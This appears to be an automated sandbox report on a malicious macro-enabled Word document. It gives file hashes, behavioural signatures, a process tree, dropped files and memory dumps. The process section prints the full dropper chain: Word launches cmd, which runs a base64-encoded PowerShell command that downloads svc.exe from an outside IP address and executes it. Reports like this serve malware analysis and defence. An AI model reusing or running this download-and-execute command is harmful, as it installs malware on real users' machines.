Analysis
-
max time kernel
139s -
max time network
131s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
24-05-2024 13:07
Behavioral task
behavioral1
Sample
616476ce3c35d67b5edbb73b6c8965d5894f404f90074add16986f8d5c81d6f0.docm
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
616476ce3c35d67b5edbb73b6c8965d5894f404f90074add16986f8d5c81d6f0.docm
Resource
win10v2004-20240508-en
General
-
Target
616476ce3c35d67b5edbb73b6c8965d5894f404f90074add16986f8d5c81d6f0.docm
-
Size
518KB
-
MD5
1f2d795ca29afadf24325cfbb3f60e4e
-
SHA1
d5e05bf7300a09b6706082907e726b0d5a09e550
-
SHA256
616476ce3c35d67b5edbb73b6c8965d5894f404f90074add16986f8d5c81d6f0
-
SHA512
40ff395e3e62e9c0b47d9ec088129042b26ceeee28c76c23615086c33fcbc57250a8c4ea53464dfd5398a5e023743dca988d7c86ec1f6039a873d8b3352393b7
-
SSDEEP
6144:sEc+F+HLHNIvPl8qZDC9VT8L38S8WyI6OLxoq5seCsH8BB3y8dqtUO2TsyUrOSo:sEcJHNopZW9eLH8WyITLfyXXvqxj9o
Malware Config
Extracted
http://94.232.249.161/download/svc.exe
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 3280 4144 cmd.exe WINWORD.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 30 3320 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 1 IoCs
Processes:
svc.exepid process 5112 svc.exe -
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 2548 5112 WerFault.exe svc.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
svc.exedescription ioc process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI svc.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI svc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI svc.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 1548 timeout.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 4144 WINWORD.EXE 4144 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exepowershell.exepid process 3760 powershell.exe 3760 powershell.exe 3760 powershell.exe 3320 powershell.exe 3320 powershell.exe 3320 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 3760 powershell.exe Token: SeDebugPrivilege 3320 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 4144 WINWORD.EXE 4144 WINWORD.EXE 4144 WINWORD.EXE 4144 WINWORD.EXE 4144 WINWORD.EXE 4144 WINWORD.EXE 4144 WINWORD.EXE -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
WINWORD.EXEcmd.exepowershell.exepowershell.exedescription pid process target process PID 4144 wrote to memory of 3280 4144 WINWORD.EXE cmd.exe PID 4144 wrote to memory of 3280 4144 WINWORD.EXE cmd.exe PID 3280 wrote to memory of 1548 3280 cmd.exe timeout.exe PID 3280 wrote to memory of 1548 3280 cmd.exe timeout.exe PID 3280 wrote to memory of 3760 3280 cmd.exe powershell.exe PID 3280 wrote to memory of 3760 3280 cmd.exe powershell.exe PID 3760 wrote to memory of 3320 3760 powershell.exe powershell.exe PID 3760 wrote to memory of 3320 3760 powershell.exe powershell.exe PID 3320 wrote to memory of 5112 3320 powershell.exe svc.exe PID 3320 wrote to memory of 5112 3320 powershell.exe svc.exe PID 3320 wrote to memory of 5112 3320 powershell.exe svc.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\616476ce3c35d67b5edbb73b6c8965d5894f404f90074add16986f8d5c81d6f0.docm" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c timeout 3 && Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFdlYiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7ICRVcmwgPSAnaHR0cDovLzk0LjIzMi4yNDkuMTYxL2Rvd25sb2FkL3N2Yy5leGUnOyAkUHRoID0gIiRlbnY6VGVtcFxzdmMuZXhlIjsgJFdlYi5Eb3dubG9hZEZpbGUoJFVybCwgJFB0aCk7IEludm9rZS1FeHByZXNzaW9uICRQdGg7')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C;2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFdlYiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7ICRVcmwgPSAnaHR0cDovLzk0LjIzMi4yNDkuMTYxL2Rvd25sb2FkL3N2Yy5leGUnOyAkUHRoID0gIiRlbnY6VGVtcFxzdmMuZXhlIjsgJFdlYi5Eb3dubG9hZEZpbGUoJFVybCwgJFB0aCk7IEludm9rZS1FeHByZXNzaW9uICRQdGg7')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C;3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E JABXAGUAYgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAAkAFUAcgBsACAAPQAgACcAaAB0AHQAcAA6AC8ALwA5ADQALgAyADMAMgAuADIANAA5AC4AMQA2ADEALwBkAG8AdwBuAGwAbwBhAGQALwBzAHYAYwAuAGUAeABlACcAOwAgACQAUAB0AGgAIAA9ACAAIgAkAGUAbgB2ADoAVABlAG0AcABcAHMAdgBjAC4AZQB4AGUAIgA7ACAAJABXAGUAYgAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABVAHIAbAAsACAAJABQAHQAaAApADsAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAkAFAAdABoADsA4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\svc.exe"C:\Users\Admin\AppData\Local\Temp\svc.exe"5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5112 -s 3526⤵
- Program crash
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4232,i,13879737908471496610,15335851594401413307,262144 --variations-seed-version --mojo-platform-channel-handle=4084 /prefetch:81⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 5112 -ip 51121⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
64B
MD55caad758326454b5788ec35315c4c304
SHA13aef8dba8042662a7fcf97e51047dc636b4d4724
SHA25683e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391
SHA5124e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693
-
C:\Users\Admin\AppData\Local\Temp\TCD4DCB.tmp\sist02.xslFilesize
245KB
MD5f883b260a8d67082ea895c14bf56dd56
SHA17954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xnpfvyk1.qmn.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\svc.exeFilesize
180KB
MD592c57dd80b764a028749520017d44e76
SHA1f732220adaacf23de6cc69d964341766d2e350d9
SHA256dbd741a45d840d06d708339f9e9824f2a0d745ea6537ca44bff233ba7441bfda
SHA512dd7d363fef5750a256abc2ae43d17f8e4788d392afaa74a2085f34da05efeb12373f38fbf480e1c86eb2759c667c971c7c54512f5d59ee61f5a0a4341ac406c8
-
memory/3760-41-0x00000246F1A10000-0x00000246F1A32000-memory.dmpFilesize
136KB
-
memory/4144-10-0x00007FF81E9C0000-0x00007FF81E9D0000-memory.dmpFilesize
64KB
-
memory/4144-40-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmpFilesize
2.0MB
-
memory/4144-7-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmpFilesize
2.0MB
-
memory/4144-9-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmpFilesize
2.0MB
-
memory/4144-0-0x00007FF821030000-0x00007FF821040000-memory.dmpFilesize
64KB
-
memory/4144-12-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmpFilesize
2.0MB
-
memory/4144-13-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmpFilesize
2.0MB
-
memory/4144-14-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmpFilesize
2.0MB
-
memory/4144-11-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmpFilesize
2.0MB
-
memory/4144-15-0x00007FF81E9C0000-0x00007FF81E9D0000-memory.dmpFilesize
64KB
-
memory/4144-16-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmpFilesize
2.0MB
-
memory/4144-19-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmpFilesize
2.0MB
-
memory/4144-22-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmpFilesize
2.0MB
-
memory/4144-21-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmpFilesize
2.0MB
-
memory/4144-20-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmpFilesize
2.0MB
-
memory/4144-18-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmpFilesize
2.0MB
-
memory/4144-17-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmpFilesize
2.0MB
-
memory/4144-38-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmpFilesize
2.0MB
-
memory/4144-39-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmpFilesize
2.0MB
-
memory/4144-8-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmpFilesize
2.0MB
-
memory/4144-6-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmpFilesize
2.0MB
-
memory/4144-4-0x00007FF821030000-0x00007FF821040000-memory.dmpFilesize
64KB
-
memory/4144-5-0x00007FF821030000-0x00007FF821040000-memory.dmpFilesize
64KB
-
memory/4144-1-0x00007FF86104D000-0x00007FF86104E000-memory.dmpFilesize
4KB
-
memory/4144-2-0x00007FF821030000-0x00007FF821040000-memory.dmpFilesize
64KB
-
memory/4144-584-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmpFilesize
2.0MB
-
memory/4144-78-0x00007FF86104D000-0x00007FF86104E000-memory.dmpFilesize
4KB
-
memory/4144-79-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmpFilesize
2.0MB
-
memory/4144-125-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmpFilesize
2.0MB
-
memory/4144-3-0x00007FF821030000-0x00007FF821040000-memory.dmpFilesize
64KB
-
memory/4144-486-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmpFilesize
2.0MB
-
memory/4144-505-0x00007FF860FB0000-0x00007FF8611A5000-memory.dmpFilesize
2.0MB
-
memory/4144-580-0x00007FF821030000-0x00007FF821040000-memory.dmpFilesize
64KB
-
memory/4144-581-0x00007FF821030000-0x00007FF821040000-memory.dmpFilesize
64KB
-
memory/4144-583-0x00007FF821030000-0x00007FF821040000-memory.dmpFilesize
64KB
-
memory/4144-582-0x00007FF821030000-0x00007FF821040000-memory.dmpFilesize
64KB
-
memory/5112-72-0x0000000000400000-0x0000000002349000-memory.dmpFilesize
31.3MB